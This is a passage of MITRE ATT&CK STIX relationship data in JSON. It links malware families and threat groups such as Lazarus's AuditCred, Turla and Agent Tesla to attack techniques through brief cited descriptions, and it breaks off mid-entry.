"description": "[AuditCred](https://attack.mitre.org/software/S0347) can search through folders and files on the system.", + "type": "relationship", + "created": "2019-01-30T15:47:41.421Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--227abd66-91cc-436e-aad8-c1fb82691357", + "external_references": [ + { + "source_name": "TrendMicro Lazarus Nov 2018", + "description": "Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/" + } + ], + "modified": "2019-01-30T15:47:41.421Z", + "source_ref": "malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) lures victims into executing malicious macros embedded within Microsoft Excel documents.", + "type": "relationship", + "created": "2019-01-30T16:39:54.538Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7571e0ac-281a-495b-bc7a-9cffd7dfc09f", + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ], + "modified": "2019-06-10T18:25:51.600Z", + "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "relationship_type": "uses", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware to check running processes against a hard-coded list of security tools often used by malware researchers.", + "type": "relationship", + "created": "2019-01-30T17:33:41.091Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6bed87bb-2cb9-48a8-a23d-31ed8285c61f", + "external_references": [ + { + "source_name": "Securelist MuddyWater Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.", + "url": "https://securelist.com/muddywater/88059/" + } + ], + "modified": "2019-06-28T15:30:58.764Z", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "relationship_type": "uses", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[zwShell](https://attack.mitre.org/software/S0350) has used RDP for lateral movement.", + "type": "relationship", + "created": "2019-01-30T17:48:35.714Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1d37f088-123f-41bb-9367-a1696dbfe895", + "external_references": [ + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "modified": "2019-01-30T17:48:35.714Z", + "source_ref": "malware--54e8672d-5338-4ad1-954a-a7c986bee530", + "relationship_type": "uses", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-17T16:17:30.696Z", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--00c88cab-5cb9-492a-8dce-8eab92213bc3", + "external_references": [ + { + "source_name": "OilRig New Delivery Oct 2017", + "description": "Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/" + } + ], + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "malware--5be33fef-39c0-4532-84ee-bea31e1b5324" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) installs an application-defined Windows hook to get notified when a network drive has been attached, so it can then use the hook to call its RecordToFile file stealing method.", + "type": "relationship", + "created": "2019-01-30T18:39:48.418Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4f550078-32b1-4abb-aa90-0e9fb7cc45f9", + "external_references": [ + { + "source_name": "Securelist Sofacy Feb 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.", + "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/" + } + ], + "modified": "2019-07-17T01:18:32.713Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "relationship_type": "uses", + "target_ref": "attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Data captured by [RawPOS](https://attack.mitre.org/software/S0169) is placed in a temporary file under a directory named \"memdump\".", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b25f5d90-f6cc-47e9-89f1-5527886bf536", + "external_references": [ + { + "source_name": "Kroll RawPOS Jan 2017", + "description": "Nesbit, B. and Ackerman, D. (2017, January). Malware Analysis Report - RawPOS Malware: Deconstructing an Intruder\u2019s Toolkit. Retrieved October 4, 2017.", + "url": "http://www.kroll.com/CMSPages/GetAzureFile.aspx?path=~%5Cmedia%5Cfiles%5Cintelligence-center%5Ckroll_malware-analysis-report.pdf&hash=d5b5d2697118f30374b954f28a08c0ba69836c0ffd99566aa7ec62d1fc72b105" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--9752aef4-a1f3-4328-929f-b64eb0536090", + "relationship_type": "uses", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) can create a persistence file in the folder /Library/LaunchDaemons.", + "type": "relationship", + "created": "2019-01-30T19:18:20.170Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--75a7d2f6-fa2c-499c-8e4f-f8d1d2735173", + "external_references": [ + { + "source_name": "TrendMicro MacOS April 2018", + "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/" + } + ], + "modified": "2019-01-30T19:18:20.170Z", + "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", + "relationship_type": "uses", + "target_ref": "attack-pattern--e99ec083-abdd-48de-ad87-4dbf6f8ba2a4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [Volgmer](https://attack.mitre.org/software/S0180) variant is encoded using a simple XOR cipher.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e5d5ca1f-1e8e-4870-a9ef-33a963ee6148", + "external_references": [ + { + "source_name": "US-CERT Volgmer 2 Nov 2017", + "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Denis](https://attack.mitre.org/software/S0354) has a command to delete files from the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-30T20:01:45.509Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0439c736-6a78-4e89-9c55-6cc565b1b11f", + "external_references": [ + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "modified": "2019-04-24T20:56:04.676Z", + "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can retrieve information such as computer name, OS version, processor speed, memory size, and CPU speed.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4be87979-faf9-4a7a-998a-d1aa3fbf5a80", + "external_references": [ + { + "source_name": "Symantec Hydraq Jan 2010", + "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Emissary](https://attack.mitre.org/software/S0082) is capable of configuring itself as a service.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ea6289bb-c974-4e4c-bdc4-1c3211a6d1d4", + "external_references": [ + { + "source_name": "Emissary Trojan Feb 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1", + "relationship_type": "uses", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "If [NETEAGLE](https://attack.mitre.org/software/S0034) does not detect a proxy configured on the infected machine, it will send beacons via UDP/6000. Also, after retrieving a C2 IP address and Port Number, [NETEAGLE](https://attack.mitre.org/software/S0034) will initiate a TCP connection to this socket. The ensuing connection is a plaintext C2 channel in which commands are specified by DWORDs.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bba2851c-7be2-4204-b737-77dda7d57a98", + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2", + "relationship_type": "uses", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-17T13:11:38.961Z", + "type": "relationship", + "created": "2019-01-31T01:07:58.805Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c9660ab0-33d4-434d-833f-cc1969b04f7a", + "external_references": [ + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "tool--30489451-5886-4c46-90c9-0dff9adc5252" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:43:58.862Z", + "type": "relationship", + "id": "relationship--0ac55ad4-0f16-416e-bf88-67ee1aad85ab", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.030Z", + "source_ref": "course-of-action--ec418d1b-4963-439f-b055-f914737ef362", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--f792d02f-813d-402b-86a5-ab98cb391d3b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Mosquito](https://attack.mitre.org/software/S0256)'s installer searches the Registry and system to see if specific antivirus tools are installed on the system.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--481c0cee-c977-430f-9f33-e5859b48be39", + "external_references": [ + { + "source_name": "ESET Turla Mosquito Jan 2018", + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90", + "relationship_type": "uses", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can use [PsExec](https://attack.mitre.org/software/S0029) to execute a payload on a remote host. It can also use Service Control Manager to start new services.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d26a9de1-0ec7-41dd-94fe-21a51bedf37f", + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + }, + { + "source_name": "Cobalt Strike TTPs Dec 2017", + "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.", + "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf" + } + ], + "modified": "2019-06-06T19:04:39.469Z", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "relationship_type": "uses", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) can create a directory (C:\\ProgramData\\Mail\\MailAg\\gl) to use as a temporary directory for uploading files.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7cf7d162-a34f-4951-a643-5bf959283f6b", + "external_references": [ + { + "source_name": "Symantec Dragonfly", + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d", + "relationship_type": "uses", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) decrypts and extracts a copy of its main DLL payload when executing.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2d822996-4574-402d-8d0f-1cfc0e963850", + "external_references": [ + { + "source_name": "Symantec Orangeworm April 2018", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Emissary](https://attack.mitre.org/software/S0082) has the capability to download files from the C2 server.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--85ca1e00-24c4-403e-8aff-9890f91e9b78", + "external_references": [ + { + "source_name": "Lotus Blossom Dec 2015", + "description": "Falcone, R. and Miller-Osborn, J.. (2015, December 18). Attack on French Diplomat Linked to Operation Lotus Blossom. Retrieved February 15, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-10T15:59:09.413Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.055Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--437dd20a-234f-430b-b9ee-4524e1e12aa9", + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050", + "relationship_type": "uses", + "target_ref": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-17T16:17:30.707Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e1a3f5df-963d-4211-931e-02ed9c567168", + "external_references": [ + { + "source_name": "FireEye APT34 Webinar Dec 2017", + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + } + ], + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover active local network connections using the netstat -an, net use, net file, and net session commands. [Turla](https://attack.mitre.org/groups/G0010) RPC backdoors have also enumerated the IPv4 TCP connection table via the GetTcpTable2 API call.", + "type": "relationship", + "created": "2017-05-31T21:33:27.045Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3325e625-d76b-42df-b952-749dabb57517", + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + }, + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + } + ], + "modified": "2019-07-14T21:04:44.961Z", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "relationship_type": "uses", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-17T16:17:30.708Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--431ec495-5f92-40e9-9955-58ca334ea3c8", + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "tool--0a68f1f1-da74-4d28-8d9a-696c082706cc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FinFisher](https://attack.mitre.org/software/S0182) checks if the victim OS is 32 or 64-bit.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--db46b437-c406-4c36-a0fe-bf1f2c32a6fe", + "external_references": [ + { + "source_name": "FinFisher Citation", + "description": "FinFisher. (n.d.). Retrieved December 20, 2017.", + "url": "http://www.finfisher.com/FinFisher/index.html" + }, + { + "source_name": "Microsoft FinFisher March 2018", + "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" + } + ], + "modified": "2019-07-14T21:44:44.295Z", + "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POSHSPY](https://attack.mitre.org/software/S0150) downloads and executes additional PowerShell code and Windows binaries.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--be31bf6d-ce4f-4620-8940-445f35ff90a7", + "external_references": [ + { + "source_name": "FireEye POSHSPY April 2017", + "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html" + } + ], + "modified": "2019-04-24T23:41:40.097Z", + "source_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) uses HTTP for C2 communications.", + "type": "relationship", + "created": "2019-01-29T17:59:44.229Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b3d3ab9f-03db-4982-b60e-9f7f224f1fc2", + "external_references": [ + { + "source_name": "Talos Zeus Panda Nov 2017", + "description": "Brumaghin, E., et al. (2017, November 02). Poisoning the Well: Banking Trojan Targets Google Search Results. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html#More" + } + ], + "modified": "2019-04-16T20:55:20.113Z", + "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PlugX](https://attack.mitre.org/software/S0013) has a module to create, delete, or modify Registry keys.", + "type": "relationship", + "created": "2019-01-29T18:17:59.225Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--067ece2b-4e66-437f-88e0-8dc3f076331b", + "external_references": [ + { + "source_name": "CIRCL PlugX March 2013", + "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018.", + "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf" + } + ], + "modified": "2019-04-19T15:08:15.911Z", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "relationship_type": "uses", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-14T21:15:55.610Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.063Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fb6a8268-5a73-4ac0-8f61-439f472063d6", + "external_references": [ + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "tool--242f3da3-4425-4d11-8f5c-b842886da966" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has enabled TCP on port 587 for C2 communications.", + "type": "relationship", + "created": "2019-01-29T18:44:05.060Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--dbe7b773-ddac-4c0f-b785-ad5eca03341a", + "external_references": [ + { + "source_name": "Fortinet Agent Tesla April 2018", + "description": "Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.", + "url": "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html" + }, + { + "source_name": "Talos Agent Tesla Oct 2018", + "description": "Brumaghin, E., et al. (2018, October 15). Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html" + } + ], + "modified": "2019-04-16T14:30:35.334Z", + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "relationship_type": "uses", + "target_ref": 